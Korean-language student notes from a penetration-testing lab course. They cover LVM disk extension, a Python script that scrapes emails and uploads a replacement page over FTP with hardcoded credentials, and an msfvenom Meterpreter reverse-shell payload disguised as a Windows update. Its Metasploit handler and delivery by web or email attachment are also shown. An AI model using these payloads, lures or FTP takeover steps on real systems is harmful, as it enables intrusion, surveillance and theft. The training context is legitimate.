●24일차(20250120024)
#저번시간
ci4.st.kr/auth/
ci4.st.kr/auth/login
> auth는 controller라고 읽고 class라 한다
#디스크 용량 늘리는 방법
> 용량이 없어서 kibana가 작동이 안됨
> 엘라스틱 서치 웹이 켜지지 않음
버츄얼 박스에서 가상머신디스크로 물리적 디스크 추가
> 130GB정도로 하자
fdisk -l
fdisk /dev/sdb
n > w
mkfs.ext4 /dev/sdb1
vgs
> 여유공간 확인
pvcreate /dev/sdb1
vgextend /dev/ubuntu-vg /dev/sdb1
lvextend -L +50G /dev/ubuntu-vg/ubuntu-lv
resize2fs /dev/ubuntu-vg/ubuntu-lv
df -h
#미션
악성코드를 만들고 관리자 pc로 침투시켜라
해커는 web2.st.kr에 저장된 이메일을 수집 후 자동으로 담당자에게 메일 전송 패킷과 로그를 분석하여 악성코드 침투 흔적을 찾아라
1. 코드 만들기
자체 도구를 스스로 만들자
> main() 함수를 만들면 됨
> C, C++같은 경우는 main() 함수가 따로 있지만 python을 없으므로 직접 만들자
[kali]
cd ~
nano Attack.py
> hydra nikto 하나하나 돌리지 말고 파이썬 코드를 만들자
> python Attack.py 실행 코드
1-1. 클래스를 먼저 만들자(화이트 해커를 위한 암호와 해킹 p106)
__init__ : 클래스 생성자
> 객체가 만들어지면 자동으로 시작
> 변수를 초기화할 수 있다
> 초기화하지 못한다면 페이지마다 하나하나 수정해야한다
1-2. 이메일 수집
kali에서 이메일을 수집하려면
> 이메일 패턴을 알아야함
> XXX@XXX 형태을 알려줘야함(문자 숫자 특수문자)
> 정규 표현식을 알려주는것
> 파이썬이 이메일 수집을 함
[기본틀]
import re
import requests
from bs4 import BeautifulSoup
class Attack:
target="http://victim.kr"
# self.target
def __init__(self,target):
print("start attack")
print(target)
self.target = target
# self.target을 아래 지정한 url로 target이 다시 지정된다
def menu(self):
print("1.")
print("2.")
print("3.")
def http(self):
print("attack http")
print(self.target)
def ftp(self):
print("attack ftp")
print(self.target)
def collectEmail(self):
print("collect email")
response = requests.get(self.target)
print(response)
#print(dir(response))
print(response.text)
url = "http://web2.st.kr/profile.php"
attack1 = Attack(url) #url을 target이라는 변수에 집어넣어준것
#attack1.menu()
#attack1.http()
#attack1.ftp()
attack1.collectEmail()
import requests > 웹
import beautifulsoup > 정보수집
1-3. 이메일 주소 패턴
email_pattern = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
emails = re.findall(email_pattern,soup.text)
1-4. 중복제거 및 출력
unique_emails=set(emails)
for email in unique_emails:
print(email)
else:
print(f"failed to access {url}, status code: {response.status_code}")
+) 함수에서 쓸 수 있는 함수들이 나온다
-> profile.php에 써있는 이메일들을 수집함
미션2. 스캔후 열려있는 포트별로 자동으로 공격하는 공격 코드 만들기
1.스캔을 한다
2. 포트를 찾는다
3. 80이면 http공격을 한다
로그인 공격
파일 업로드 공격
SQL 인젝션 공격
XSS 공격
4. 22이면 ssh 공격을 한다
5. 21이면 ftp 공격을 한다
미션3. 해커가 만든 profile.php를 업로드하라
/home/kali
touch profile.php
> file을 올릴려면 kali 안에 profile.php를 만들어놔야 올라감
> 이 상태로 collect email 함수를 실행
> 웹페이지(web2.st.kr/profile.php)가 흰화면으로 변함
edit plus에 profile.php 코드를 복사해서 전화번호만 바꾸고 올려보자
> kali에 만들어놓은 profile.php에 코드를 붙여넣고 전화번호만 바꿔서 만듦
> 파이썬 코드 실행
> 웹페이지에 전화번호만 바뀌어진 웹이 뜬다
[Attack.py](20250120 최종본)
import re
import requests
from bs4 import BeautifulSoup
from ftplib import FTP
class Attack:
target="http://victim.kr"
def __init__(self,target):
print("start attack")
print(target)
self.target = target
def keylog(self):
print("start keylog")
def scan(self):
ports=[21,22,23,25,53,80,110,143,3306,3389,5601,5900,5091,9200]
chkPorts=[21]
print("start scan")
print("end scan")
return chkPorts
def menu(self):
print("1.")
print("2.")
print("3.")
def http(self):
print("attack http")
print(self.target)
def ftp(self):
remote_file="profile.php"
id = "web2"
pw="123456"
ftp = FTP()
print("attack ftp")
print(self.target)
print(ftp)
print(dir(ftp))
try:
remote_file="profile.php"
ftp.connect(self.target,21)
ftp.login(id,pw)
print("OK")
print(ftp.retrlines('LIST'))
ftp.cwd('public_html')
with open("profile.php","rb") as file:
ftp.storbinary(f"STOR {remote_file}",file)
print("upload OK")
except Exception as e:
print({e})
def collectEmail(self):
email_pattern = r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}'
print("collect email")
response = requests.get(self.target)
if response.status_code == 200:
soup = BeautifulSoup(response.text,'html.parser')
#print(response)
#print(dir(response))
#print(response.text)
emails=re.findall(email_pattern,soup.text)
unique_emails = set(emails)
for email in unique_emails:
print(email)
url = "http://web2.st.kr/profile.php"
ftp = "web2.st.kr"
attack1 = Attack(ftp)
chkPorts=attack1.scan()
for port in chkPorts:
if port == 21:
attack1.ftp()
elif port == 80:
attack1.http()
attack1.upload()
attack1.brute()
attack1.sql()
attack1.xss()
미션4. 악성코드 침투
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 -b "\x00" -f exe -o /home/kali/windows_update_20250120001.exe
> 악성코드 만들기
방법1
cp window[tab] /var/www/html
systemctl start apache2
> kali ip로 웹에 접속
방법2
kali 메일에서 win7 메일로 첨부파일에 악성코드 첨부해서 보냄
미션5. 포트 열기
cd /home/kali
nano malware.rc
[malware.rc]
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.56.101
set lport 4444
exploit
msfconsole -r /home/kali/malware.rc
> 포트 4444 열어놓고 기다림
> netstat -ant로 확인가능
win7에서 악성코드를 다운받아 실행시키면 관리자pc와 kali가 연결되면서
meterpreter >
> 명령어 치는 란이 생김
> screenshot을 치면 win7에서 캡쳐가 되면서 kali에 저장된다
> kali 창에 netstat -ant 를 치면 101번(해커)과 102번(서버)이 연결된게 뜬다

> 증거는 휘발성데이터 수집해야함
+) 트로이목마
악성코드를 다운 받으면 java를 다운받으라는 창이 뜨면서 그냥 java 다운받는 것처럼 다운받게된다
> 키로거 화면캡쳐 가능